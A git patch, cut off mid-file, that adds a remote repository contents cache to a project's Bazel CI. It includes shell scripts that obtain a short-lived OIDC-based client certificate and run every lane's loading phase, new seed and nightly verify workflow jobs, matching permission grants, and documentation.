ga-vnycm2.29. Co-authored-by: Claude Opus 5.5 (1M context) --- .github/scripts/rrc-lane-commands.txt | 15 + .github/scripts/rrc-run-lanes.sh | 51 ++ .github/scripts/rrc-writer-credential.sh | 113 ++++ .github/workflows/bazel-farm.yml | 10 + .github/workflows/bazel.yml | 246 +++++++ .github/workflows/nightly.yml | 12 + .github/workflows/pr.yml | 10 + engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md | 32 + scripts/BUILD.bazel | 1 + scripts/bazel_cache_mode_test.go | 4 +- scripts/bazel_farm_workflow_test.go | 49 +- scripts/bazel_rrc_test.go | 783 +++++++++++++++++++++++ scripts/ci_analytics_workflow_test.go | 2 + scripts/ci_blacksmith_runner_test.go | 4 +- scripts/ci_workflow_test.go | 37 +- scripts/rbe_worker_env_test.go | 15 +- scripts/tracked_files_test.go | 13 +- tools/bazel/rrc_verify.py | 620 ++++++++++++++++++ tools/bazel/rrc_verify_test.py | 323 ++++++++++ 19 files changed, 2310 insertions(+), 30 deletions(-) create mode 100644 .github/scripts/rrc-lane-commands.txt create mode 100755 .github/scripts/rrc-run-lanes.sh create mode 100755 .github/scripts/rrc-writer-credential.sh create mode 100644 scripts/bazel_rrc_test.go create mode 100644 tools/bazel/rrc_verify.py create mode 100644 tools/bazel/rrc_verify_test.py diff --git a/.github/scripts/rrc-lane-commands.txt b/.github/scripts/rrc-lane-commands.txt new file mode 100644 index 000000000..08bd7eb5e --- /dev/null +++ b/.github/scripts/rrc-lane-commands.txt @@ -0,0 +1,15 @@ +# Every bazel.yml lane's loading and analysis, for the remote repo contents +# cache: rrc-seed runs each line with --nobuild on a push to main (uploading +# the repositories it fetches) and rrc-verify runs each cold every night. +# One `bazel` command per line (no shell quoting); # starts a comment. +# scripts/bazel_rrc_test.go checks that every --config a reading lane's +# bazel command uses appears here. +test //... --config=ci +test //... --config=embedded +test //... --config=integration +test //... --config=doltserver +test //... --config=doltserver-proxied +test //... --config=doltserver-integration +test //... --config=doltserver-cmd +build --config=pure //cmd/bd:bd //cmd/bd:bd_test //internal/storage/embeddeddolt:embeddeddolt_test //internal/tracker:tracker_test +build --config=js-wasm //internal/hooks:hooks_test diff --git a/.github/scripts/rrc-run-lanes.sh b/.github/scripts/rrc-run-lanes.sh new file mode 100755 index 000000000..d5f329a84 --- /dev/null +++ b/.github/scripts/rrc-run-lanes.sh @@ -0,0 +1,51 @@ +#!/usr/bin/env bash +# Loading and analysis of every bazel.yml lane, for the remote repo contents +# cache (bazel.yml's rrc-seed and rrc-verify jobs). +# +# Usage: rrc-run-lanes.sh [STARTUP_FLAG...] -- [COMMAND_FLAG...] +# +# Runs `bazel STARTUP_FLAG... --nobuild COMMAND_FLAG...` for each +# command line in .github/scripts/rrc-lane-commands.txt (or RRC_LANE_COMMANDS), +# in order, stopping at the first failure. --nobuild: repository rules, +# loading and analysis only, never a build or test action. +# +# Bazel exits 1 after `test --nobuild` even when loading and analysis succeed +# ("Couldn't start the build. Unable to run tests"). A command passes when it +# exits 0, or exits non-zero having printed "Build completed successfully" +# and no ERROR line but that one. +set -euo pipefail + +startup=() +while [ $# -gt 0 ] && [ "$1" != -- ]; do + startup+=("$1") + shift +done +[ $# -gt 0 ] || { + echo "usage: rrc-run-lanes.sh [STARTUP_FLAG...] -- [COMMAND_FLAG...]" >&2 + exit 2 +} +shift +flags=("$@") + +file=${RRC_LANE_COMMANDS:-$(dirname "${BASH_SOURCE[0]}")/rrc-lane-commands.txt} +mapfile -t cmds < <(sed -e 's/#.*//' -e 's/[[:space:]]*$//' "$file" | grep -v '^[[:space:]]*$' || true) +if [ "${#cmds[@]}" -eq 0 ]; then + echo "::error::no lane commands in $file" + exit 1 +fi + +log=$(mktemp) +trap 'rm -f "$log"' EXIT +summary=${GITHUB_STEP_SUMMARY:-/dev/null} +for cmd in "${cmds[@]}"; do + read -r -a args <<<"$cmd" + start=$(date +%s) + rc=0 + bazel ${startup[@]+"${startup[@]}"} "${args[@]}" --nobuild ${flags[@]+"${flags[@]}"} &1 | tee "$log" || rc=$? + if [ "$rc" -ne 0 ] && grep -q '^INFO: Build completed successfully' "$log" && + ! grep '^ERROR:' "$log" | grep -qv "^ERROR: Couldn't start the build. Unable to run tests$"; then + rc=0 + fi + echo "rrc: \`bazel $cmd\`: exit $rc, $(($(date +%s) - start))s" | tee -a "$summary" + [ "$rc" -eq 0 ] || exit "$rc" +done diff --git a/.github/scripts/rrc-writer-credential.sh b/.github/scripts/rrc-writer-credential.sh new file mode 100755 index 000000000..a650c7ddc --- /dev/null +++ b/.github/scripts/rrc-writer-credential.sh @@ -0,0 +1,113 @@ +#!/usr/bin/env bash +# A 30-minute rbe-west client certificate for the remote repo contents cache +# writer (bazel.yml's rrc-seed job; engdocs/design/bazel-remote-repo-contents-cache.md). +# +# The job trades its GitHub Actions OIDC token (audience rbe-rrc-writer) for a +# certificate CN=rbe-rrc-writer from rbe-west's mint. The mint signs only for +# this repository's bazel.yml on a push to main (repository, ref, event_name +# and job_workflow_ref claims); pull_request, fork and Dependabot runs cannot +# get one (no OIDC token, or a refs/pull/N/merge one). On rbe-west that +# certificate reaches only GetCapabilities, the CAS and an action cache front +# (rrc-gate) that admits repo-contents entries and refuses everything else, so +# it can never write an execution result or execute anything. +# +# The key is an EC P-256 key (PKCS#8: Bazel's Netty TLS refuses a SEC1 "EC +# PRIVATE KEY") generated here in BAZEL_CI_SECRET_DIR, outside the workspace; +# it never leaves the runner. The OIDC token is masked. Outputs (to +# $GITHUB_OUTPUT when set, else stdout): cert, key, endpoint, instance; none +# when the mint answers 503 or cannot be reached (seeding switched off on +# rbe-west: infra nativelink-cas/west/README.md "Client contract"), which +# exits 0 with a warning. +# +# Tests only: RBE_RRC_MINT (a stand-in mint) and RBE_RRC_ENDPOINT_RE. +set -euo pipefail +MINT=${RBE_RRC_MINT:-https://rbe-mint.ops.gascity.com:8444} +ENDPOINT_RE=${RBE_RRC_ENDPOINT_RE:-'^grpcs://rbe-west\.ops\.gascity\.com(:443)?$'} +AUDIENCE=rbe-rrc-writer +dir=${BAZEL_CI_SECRET_DIR:?BAZEL_CI_SECRET_DIR is required} +out=${GITHUB_OUTPUT:-/dev/stdout} + +if [ -z "${ACTIONS_ID_TOKEN_REQUEST_URL:-}" ] || [ -z "${ACTIONS_ID_TOKEN_REQUEST_TOKEN:-}" ]; then + echo "::error title=rrc writer::no OIDC token request URL; the job needs permissions: id-token: write" >&2 + exit 1 +fi + +install -d -m 0700 "$dir" +umask 077 + +oidc=$(curl -sS --fail --connect-timeout 5 --max-time 30 --retry 3 --retry-all-errors \ + -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \ + "$ACTIONS_ID_TOKEN_REQUEST_URL&audience=$AUDIENCE" | jq -r '.value // empty') +if [ -z "$oidc" ]; then + echo "::error title=rrc writer::GitHub returned no OIDC token" >&2 + exit 1 +fi +printf '::add-mask::%s\n' "$oidc" + +openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:P-256 -out "$dir/rrc-writer.key" 2>/dev/null +csr=$(openssl req -new -key "$dir/rrc-writer.key" -subj "/CN=rbe-rrc-writer-request") +body=$(jq -cn --arg csr "$csr" '{csr_pem: $csr}') + +reply="$dir/rrc-mint.json" +code=000 +for attempt in 1 2 3 4; do + # --connect-timeout: a closed gate drops the SYN; fail fast, not in 60 s. + code=$(curl -sS -o "$reply" -w '%{http_code}' --connect-timeout 5 --max-time 60 \ + -H "Authorization: Bearer $oidc" -H 'content-type: application/json' \ + --data "$body" "$MINT/v1/rrc-writer/cert") || code=000 + # Retry what may pass on its own: a rate limit (429), the mint could not + # reach GitHub's JWKS (502), or the network (000). Everything else is an + # answer. + case "$code" in 429 | 502 | 000) ;; *) break ;; esac + [ "$attempt" -eq 4 ] || sleep $((attempt * 10)) +done +case "$code" in +200) ;; +503 | 000) + # The mint's switch is off, its CA is not installed, or rbe-west's fork + # edge is closed: seeding is off, not broken. No outputs, so the seed + # step skips; the push to main never fails on it. + echo "::warning title=rrc writer: seeding off (HTTP $code)::$(jq -r '.error // empty' "$reply" 2>/dev/null || true)" + exit 0 + ;; +*) + echo "::error title=rrc writer mint refused (HTTP $code)::$(jq -r '.error // empty' "$reply" 2>/dev/null || true)" + exit 1 + ;; +esac + +endpoint=$(jq -r '.endpoint // empty' "$reply") +instance=$(jq -r '.instance // empty' "$reply") +[[ $endpoint =~ $ENDPOINT_RE ]] || { + echo "::error::rrc writer mint returned endpoint '$endpoint'" >&2 + exit 1 +} +[ "$instance" = oss ] || { + echo "::error::rrc writer mint returned instance '$instance', want oss" >&2 + exit 1 +} +jq -r '.cert_pem // empty' "$reply" >"$dir/rrc-writer.crt" +subject=$(openssl x509 -in "$dir/rrc-writer.crt" -noout -subject -nameopt RFC2253) || { + echo "::error::rrc writer mint returned no certificate" >&2 + exit 1 +} +rdns=$(tr ',' '\n' <<<"${subject#subject=}") +cn=$(sed -n 's/^CN=//p' <<<"$rdns") +org=$(sed -n 's/^O=//p' <<<"$rdns") +if ! [[ $cn =~ ^rbe-rrc-writer(-[a-z0-9]+)?$ ]] || [ "$org" != gascity ]; then + echo "::error::rrc writer mint returned a certificate for '$subject'" >&2 + exit 1 +fi +# The certificate must belong to the key generated above. +if [ "$(openssl x509 -in "$dir/rrc-writer.crt" -noout -pubkey | openssl sha256)" != "$(openssl pkey -in "$dir/rrc-writer.key" -pubout | openssl sha256)" ]; then + echo "::error::rrc writer mint returned a certificate for another key" >&2 + exit 1 +fi +openssl x509 -in "$dir/rrc-writer.crt" -noout -subject -enddate +rm -f "$reply" +{ + echo "cert=$dir/rrc-writer.crt" + echo "key=$dir/rrc-writer.key" + echo "endpoint=$endpoint" + echo "instance=$instance" +} >>"$out" diff --git a/.github/workflows/bazel-farm.yml b/.github/workflows/bazel-farm.yml index 7ab2c0a7b..caeb0ad2f 100644 --- a/.github/workflows/bazel-farm.yml +++ b/.github/workflows/bazel-farm.yml @@ -120,8 +120,18 @@ jobs: name: Bazel Farm needs: authorize if: ${{ needs.authorize.outputs.allowed == 'true' }} + # A called workflow's job gets at most this call's token permissions, and + # GitHub checks them when the run starts, even for a job whose if: skips + # it (startup_failure otherwise; gascity #7478): bazel.yml's rrc-seed asks + # id-token: write (push to main only) and rrc-verify issues: write + # (schedule and dispatch only). Neither runs for this event, every other + # bazel.yml job keeps contents: read, and rbe-west's mint refuses any OIDC + # token but a main-push bazel.yml one + # (scripts/bazel_rrc_test.go, TestBazelWorkflowCallersGrantEveryRequestedPermission). permissions: contents: read + id-token: write + issues: write uses: ./.github/workflows/bazel.yml # Exactly the four RBE secrets: never the rbe-prewarm app private key # (B1, security review of bdef342d5). This pull_request_target run is diff --git a/.github/workflows/bazel.yml b/.github/workflows/bazel.yml index eeb98a410..ce9bf223b 100644 --- a/.github/workflows/bazel.yml +++ b/.github/workflows/bazel.yml @@ -424,6 +424,7 @@ jobs: enabled: ${{ steps.decide.outputs.enabled }} mode: ${{ steps.decide.outputs.mode }} tier: ${{ steps.decide.outputs.tier }} + rrc: ${{ steps.rrc.outputs.rrc }} steps: # The expressions' == is case-insensitive (RBE_WEST_WORKERS=True counts). # A push, merge_group or dispatch has no pull_request, so FORK is false. @@ -496,6 +497,37 @@ jobs: } >> "$GITHUB_OUTPUT" echo "Bazel execution mode: **$mode** (RBE_WEST_WORKERS on: $RBE_VAR_ON, rbe=off: $RBE_INPUT_OFF, rbe=cache: $RBE_INPUT_CACHE, fork: $FORK, dependabot: $DEPENDABOT, fork farm: $FORK_FARM, executor secret: $HAS_EXECUTOR)" | tee -a "$GITHUB_STEP_SUMMARY" + # Bazel's remote repo contents cache on rbe-west (ga-vnycm2.29, ported + # from gascity's bazel.yml; gascity + # engdocs/design/bazel-remote-repo-contents-cache.md): extracted + # external repositories (go_deps, the Go SDK, the LLVM slice) come from + # rbe-west's action cache instead of being re-fetched by every cold lane + # client. vars.RBE_REPO_CONTENTS_CACHE rolls it out: + # unset/off nothing (the default); + # seed main pushes seed the cache (rrc-seed); no lane reads it; + # canary seed, and bazel-test reads; + # on seed, and every lane in .github/scripts/rrc-lane-commands.txt + # reads. + # Mode remote only: fork pull_request runs see no vars, and only + # rbe-west's trusted edge serves the entries. Any other value is off, + # with a warning, so a typo never fails the required gate. Like decide, + # this step runs no repository code (it comes before the checkout). + - name: Remote repo contents cache + id: rrc + env: + RRC: ${{ vars.RBE_REPO_CONTENTS_CACHE }} + MODE: ${{ steps.decide.outputs.mode }} + run: | + rrc=off + case "$RRC" in + "" | off) ;; + seed | canary | on) + if [ "$MODE" = remote ]; then rrc=$RRC; fi ;; + *) echo "::warning title=RBE_REPO_CONTENTS_CACHE::unknown value '$RRC' (want off, seed, canary or on); treated as off" ;; + esac + echo "rrc=$rrc" >> "$GITHUB_OUTPUT" + echo "Remote repo contents cache: **$rrc**" >> "$GITHUB_STEP_SUMMARY" + # The worker-env preflight (see the job's comment): the PR's own copy, # so a PR that syncs it passes. Only the two paths it compares. - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 @@ -785,6 +817,22 @@ jobs: - name: Verify restored Go modules run: go mod verify + # The remote repo contents cache, read-only (the rbe job's rrc output: + # canary, bazel-test; on, every lane). Each cached repository costs + # several sequential round trips, resolved on Skyframe's loading + # threads (default: the CPU count), so without 64 of them a cached read + # is slower than fetching. Both lines are key neutral (startup and + # loading only). Reading only: setup-bazel's rc keeps + # --noremote_upload_local_results, so nothing here writes; rrc-seed + # writes, on push to main. Before Set up Bazel: no server starts first. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && (needs.rbe.outputs.rrc == 'on' || needs.rbe.outputs.rrc == 'canary') }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1045,6 +1093,15 @@ jobs: with: node-version: '24' + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1333,6 +1390,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1505,6 +1571,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1650,6 +1725,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1770,6 +1854,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -1922,6 +2015,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -2085,6 +2187,15 @@ jobs: persist-credentials: false allow-unsafe-pr-checkout: ${{ inputs.fork-farm == 'authorized' && github.event_name == 'pull_request_target' }} + # The remote repo contents cache, read-only, as in bazel-test. + - name: Remote repo contents cache (read) + if: ${{ needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc == 'on' }} + run: | + { + echo 'startup --experimental_remote_repo_contents_cache' + echo 'common --loading_phase_threads=64' + } >> .bazelrc.local + - name: Set up Bazel id: bazel uses: ./.github/actions/setup-bazel @@ -2432,3 +2543,138 @@ jobs: env: JOB_STATUS: ${{ job.status }} run: echo "result=$JOB_STATUS" >> "$GITHUB_OUTPUT" + + # The remote repo contents cache's only writer (ga-vnycm2.29, ported from + # gascity's bazel.yml). On a push to main, with the rbe job's rrc not off, + # run every lane's loading and analysis (.github/scripts/rrc-lane-commands.txt, + # --nobuild): only main's repository rules and Starlark run (gazelle's + # fetch_repo, the Go SDK and LLVM downloads, extraction: what every lane + # already runs on its runner), never a build or test action. Bazel uploads + # each reproducible repository's tree (--remote_upload_local_results) with + # a 30-minute rbe-rrc-writer-beads certificate that rbe-west's mint signs + # only for this workflow on a push to main + # (.github/scripts/rrc-writer-credential.sh); rbe-west's rrc-gate admits + # repo-contents entries from it and refuses every other action cache + # write, and the certificate cannot Execute. Cache only (--remote_cache, + # no executor). Not a lane: no result output, never in pr.yml's gate + # (which never sees it anyway: push only), so a failed seed only leaves the + # lanes fetching. setup-bazel runs in local mode (no secrets): its rc, the + # runner cache and the pinned Bazel, nothing else. The only bazel.yml job + # with id-token: write; every caller must grant it (GitHub checks a called + # workflow's job permissions at startup, even for a job that skips), and + # the mint refuses any token but a main-push bazel.yml one. + rrc-seed: + name: repo contents cache seed + needs: rbe + if: ${{ github.event_name == 'push' && github.ref == 'refs/heads/main' && needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc != 'off' }} + runs-on: blacksmith-8vcpu-ubuntu-2404 + timeout-minutes: 30 + permissions: + contents: read + id-token: write # the rbe-rrc-writer-beads certificate (GitHub OIDC) + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Set up Bazel + uses: ./.github/actions/setup-bazel + - name: rbe-rrc-writer certificate + id: writer + env: + BAZEL_CI_SECRET_DIR: ${{ runner.temp }}/bazel-ci-secret + run: bash .github/scripts/rrc-writer-credential.sh + - name: Seed the remote repo contents cache + if: ${{ steps.writer.outputs.cert != '' }} + env: + CERT: ${{ steps.writer.outputs.cert }} + KEY: ${{ steps.writer.outputs.key }} + ENDPOINT: ${{ steps.writer.outputs.endpoint }} + INSTANCE: ${{ steps.writer.outputs.instance }} + run: >- + bash .github/scripts/rrc-run-lanes.sh --experimental_remote_repo_contents_cache -- + --loading_phase_threads=64 + "--remote_cache=$ENDPOINT" "--remote_instance_name=$INSTANCE" + "--tls_client_certificate=$CERT" "--tls_client_key=$KEY" + --remote_upload_local_results + - name: Remove the writer key + if: ${{ always() }} + run: rm -f -- "$RUNNER_TEMP/bazel-ci-secret/rrc-writer.key" "$RUNNER_TEMP/bazel-ci-secret/rrc-writer.crt" + + # Nightly check of the remote repo contents cache (gascity design R1/R2). A + # cached repository tree is trusted by every reader, and nothing on the + # reader checks it against what its rule produces. So, from nightly.yml (or + # a dispatch), fetch every lane's repositories cold (rrc-lane-commands.txt + # with --nobuild and no repo contents cache, Bazel set up exactly as a + # lane) and compare each repository's tree and marker with the cached + # entry a lane would read for the same key (tools/bazel/rrc_verify.py, + # reads only, with the lanes' certificate and the endpoint from + # setup-bazel's rc: no secret is referenced outside setup-bazel). A + # mismatch is a poisoned entry or a rule falsely marked reproducible: the + # job fails and opens (or comments on) an rrc-verify issue. Not a lane: + # never gated. The only bazel.yml job with issues: write; every caller + # must grant it, as for rrc-seed's id-token. + rrc-verify: + name: repo contents cache verify + needs: rbe + if: ${{ (github.event_name == 'schedule' || github.event_name == 'workflow_dispatch') && needs.rbe.outputs.mode == 'remote' && needs.rbe.outputs.rrc != 'off' }} + runs-on: blacksmith-8vcpu-ubuntu-2404 + timeout-minutes: 45 + permissions: + contents: read + issues: write # the rrc-verify alert issue + steps: + - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 + with: + persist-credentials: false + - name: Set up Bazel + uses: ./.github/actions/setup-bazel + env: + BAZEL_REMOTE_EXECUTOR: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_WEST_EXECUTOR || '' }} + RBE_TLS_CERT: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CERT || '' }} + RBE_TLS_KEY: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_KEY || '' }} + RBE_TLS_CA: ${{ needs.rbe.outputs.mode == 'remote' && secrets.RBE_TLS_CA || '' }} + RBE_INSTANCE: ${{ needs.rbe.outputs.mode == 'remote' && 'oss' || '' }} + - name: Cold fetch (every lane, no repo contents cache) + run: bash .github/scripts/rrc-run-lanes.sh -- --loading_phase_threads=64 + - name: Compare with the cache + id: verify + run: | + set -euo pipefail + secret_dir="$RUNNER_TEMP/bazel-ci-secret" + prefix='build:remote-exec --remote_executor=' + endpoint=$(grep -F -m1 "$prefix" "$secret_dir/ci.bazelrc" || true) + endpoint=${endpoint#"$prefix"} + [ -n "$endpoint" ] || { echo "::error::setup-bazel's rc names no executor"; exit 1; } + python3 tools/bazel/rrc_verify.py \ + --output-base "$(bazel info output_base)" \ + --endpoint "$endpoint" --instance oss \ + --cert "$secret_dir/client.crt" --key "$secret_dir/client.key" \ + --bazel-version "$(tr -d '[:space:]' < .bazelversion)" \ + --json "$RUNNER_TEMP/rrc-verify.json" --summary "$GITHUB_STEP_SUMMARY" + - name: Upload the report + if: ${{ always() && hashFiles(format('{0}/rrc-verify.json', runner.temp)) != '' }} + uses: actions/upload-artifact@043fb46d1a93c77aae656e7c1c64a875d1fc6a0a # v7 + with: + overwrite: true # a job re-run is the same run: replace, not 409 + name: rrc-verify-${{ github.run_attempt }} + path: ${{ runner.temp }}/rrc-verify.json + retention-days: 30 + - name: Alert (rrc-verify issue) + if: ${{ failure() && steps.verify.outcome == 'failure' }} + env: + GH_TOKEN: ${{ github.token }} + RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }} + run: | + set -euo pipefail + title="rrc-verify: remote repo contents cache differs from a cold fetch" + body="The nightly rrc-verify run found cached repository trees that differ from a cold fetch, or could not check them: $RUN_URL (summary and the rrc-verify report artifact). + + A mismatch is a poisoned entry or a repository rule falsely marked reproducible (gascity engdocs/design/bazel-remote-repo-contents-cache.md, R1/R2). Stop readers first: set the repository variable RBE_REPO_CONTENTS_CACHE to off. Then follow gascity/infra nativelink-cas/west/README.md (remote repo contents cache writer, poisoned entries)." + gh label create rrc-verify -R "$GITHUB_REPOSITORY" --color B60205 \ + --description "Remote repo contents cache verification failures" 2>/dev/null || true + n=$(gh issue list -R "$GITHUB_REPOSITORY" --label rrc-verify --state open --json number --jq '.[0].number // empty') + if [ -n "$n" ]; then + gh issue comment "$n" -R "$GITHUB_REPOSITORY" --body "Again: $RUN_URL" + else + gh issue create -R "$GITHUB_REPOSITORY" --label rrc-verify --title "$title" --body "$body" + fi diff --git a/.github/workflows/nightly.yml b/.github/workflows/nightly.yml index 56f6a23e7..7bd190a2d 100644 --- a/.github/workflows/nightly.yml +++ b/.github/workflows/nightly.yml @@ -25,6 +25,18 @@ jobs: # engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md). bazel: name: Bazel (fresh, full detail) + # A called workflow's job gets at most this call's token permissions, and + # GitHub checks them when the run starts, even for a job whose if: skips + # it (startup_failure otherwise; gascity #7478): bazel.yml's rrc-seed asks + # id-token: write (push to main only) and rrc-verify issues: write + # (schedule and dispatch only). rrc-verify runs here (its alert issue); + # rrc-seed never does, every other bazel.yml job keeps contents: read, + # and rbe-west's mint refuses any OIDC token but a main-push bazel.yml one + # (scripts/bazel_rrc_test.go, TestBazelWorkflowCallersGrantEveryRequestedPermission). + permissions: + contents: read + id-token: write + issues: write uses: ./.github/workflows/bazel.yml secrets: RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} diff --git a/.github/workflows/pr.yml b/.github/workflows/pr.yml index 9483e2b36..22dc8c23e 100644 --- a/.github/workflows/pr.yml +++ b/.github/workflows/pr.yml @@ -1347,8 +1347,18 @@ jobs: # build their own bd via this call's rbe job. bazel: name: Bazel + # A called workflow's job gets at most this call's token permissions, and + # GitHub checks them when the run starts, even for a job whose if: skips + # it (startup_failure otherwise; gascity #7478): bazel.yml's rrc-seed asks + # id-token: write (push to main only) and rrc-verify issues: write + # (schedule and dispatch only). Neither runs for this event, every other + # bazel.yml job keeps contents: read, and rbe-west's mint refuses any OIDC + # token but a main-push bazel.yml one + # (scripts/bazel_rrc_test.go, TestBazelWorkflowCallersGrantEveryRequestedPermission). permissions: contents: read + id-token: write + issues: write uses: ./.github/workflows/bazel.yml secrets: RBE_WEST_EXECUTOR: ${{ secrets.RBE_WEST_EXECUTOR }} diff --git a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md index c0c340b6d..ce91016b0 100644 --- a/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md +++ b/engdocs/CI_REQUIRED_CHECK_TOPOLOGY.md @@ -620,6 +620,38 @@ job's `if:` or rotating the key, in either of two ways: step's own kill switch, checked before any network call. Deleting the variable does not disable pre-warming; it restores the default of 1. +## Remote Repo Contents Cache + +A cold lane client re-runs its repository rules (gazelle's `go_deps`, the Go +SDK, the LLVM slice) before its first action. Bazel 9's remote repo contents +cache serves those extracted trees from rbe-west's `oss` action cache instead +(ported from gascity's `bazel.yml`; design: gascity +`engdocs/design/bazel-remote-repo-contents-cache.md`). The repository variable +`RBE_REPO_CONTENTS_CACHE` rolls it out, in mode `remote` only: + +| value | effect | +|---|---| +| unset / `off` | nothing (default) | +| `seed` | each push to main runs `bazel.yml`'s `rrc-seed` job: every lane's command in `.github/scripts/rrc-lane-commands.txt` with `--nobuild`, uploading repository trees with a 30-minute `rbe-rrc-writer-beads` certificate that rbe-west's mint signs only for that job (GitHub OIDC; `.github/scripts/rrc-writer-credential.sh`). rbe-west's `rrc-gate` admits only repo-contents entries from it | +| `canary` | `seed`, and the `test` lane reads the cache | +| `on` | `seed`, and every lane but the release cross-compile and the package gates reads it | + +Readers append `startup --experimental_remote_repo_contents_cache` and +`common --loading_phase_threads=64` to `.bazelrc.local` before setting up +Bazel; both are key neutral, and the lanes keep +`--noremote_upload_local_results`. While the variable is not `off`, +nightly.yml's call also runs `rrc-verify`: a cold fetch of every lane, +compared with the cached entries by `tools/bazel/rrc_verify.py`; a mismatch +fails the job and opens an `rrc-verify` issue. + +`rrc-seed` asks for `id-token: write` and `rrc-verify` for `issues: write`, so +every caller of `bazel.yml` (pr.yml, nightly.yml, bazel-farm.yml) grants both: +GitHub checks a called workflow's job permissions when the run starts, even +for jobs that skip. Neither job runs on a pull_request, merge_group or +pull_request_target event, and every other `bazel.yml` job keeps +`contents: read`. Rollback: set the variable to `off` (or `seed`, to keep the +cache warm without readers). + ## Required Check Contract After the aggregate checks are verified on the branch, branch protection or the diff --git a/scripts/BUILD.bazel b/scripts/BUILD.bazel index a91b79346..08cf03e48 100644 --- a/scripts/BUILD.bazel +++ b/scripts/BUILD.bazel @@ -41,6 +41,7 @@ go_test( "bazel_hermetic_cc_test.go", "bazel_policy_test.go", "bazel_rbe_prewarm_test.go", + "bazel_rrc_test.go", "ci_actions_policy_test.go", "ci_analytics_workflow_test.go", "ci_blacksmith_runner_test.go", diff --git a/scripts/bazel_cache_mode_test.go b/scripts/bazel_cache_mode_test.go index 7ee9e653e..8212d4efd 100644 --- a/scripts/bazel_cache_mode_test.go +++ b/scripts/bazel_cache_mode_test.go @@ -212,8 +212,8 @@ func TestBazelCacheModeReachesTheRC(t *testing.T) { var lanes []string for name, job := range workflow.Jobs { - if name == bazelRBEJobName { - continue + if name == bazelRBEJobName || isBazelRRCJob(name) { + continue // not lanes: never in a PR call (bazel_rrc_test.go) } runs := bazelLaneRunModes(t, name, job.If, s.with)[mode] switch { diff --git a/scripts/bazel_farm_workflow_test.go b/scripts/bazel_farm_workflow_test.go index 36a40b5b0..887130463 100644 --- a/scripts/bazel_farm_workflow_test.go +++ b/scripts/bazel_farm_workflow_test.go @@ -94,7 +94,8 @@ func TestBazelFarmWorkflowSecurity(t *testing.T) { } // Permissions: contents: read at the workflow and on every job, and - // nothing else anywhere in the file. + // nothing else anywhere in the file, but the farm call's grant of what + // bazel.yml's rrc jobs ask for (bazelCallPermissions). readOnly := map[string]any{"contents": 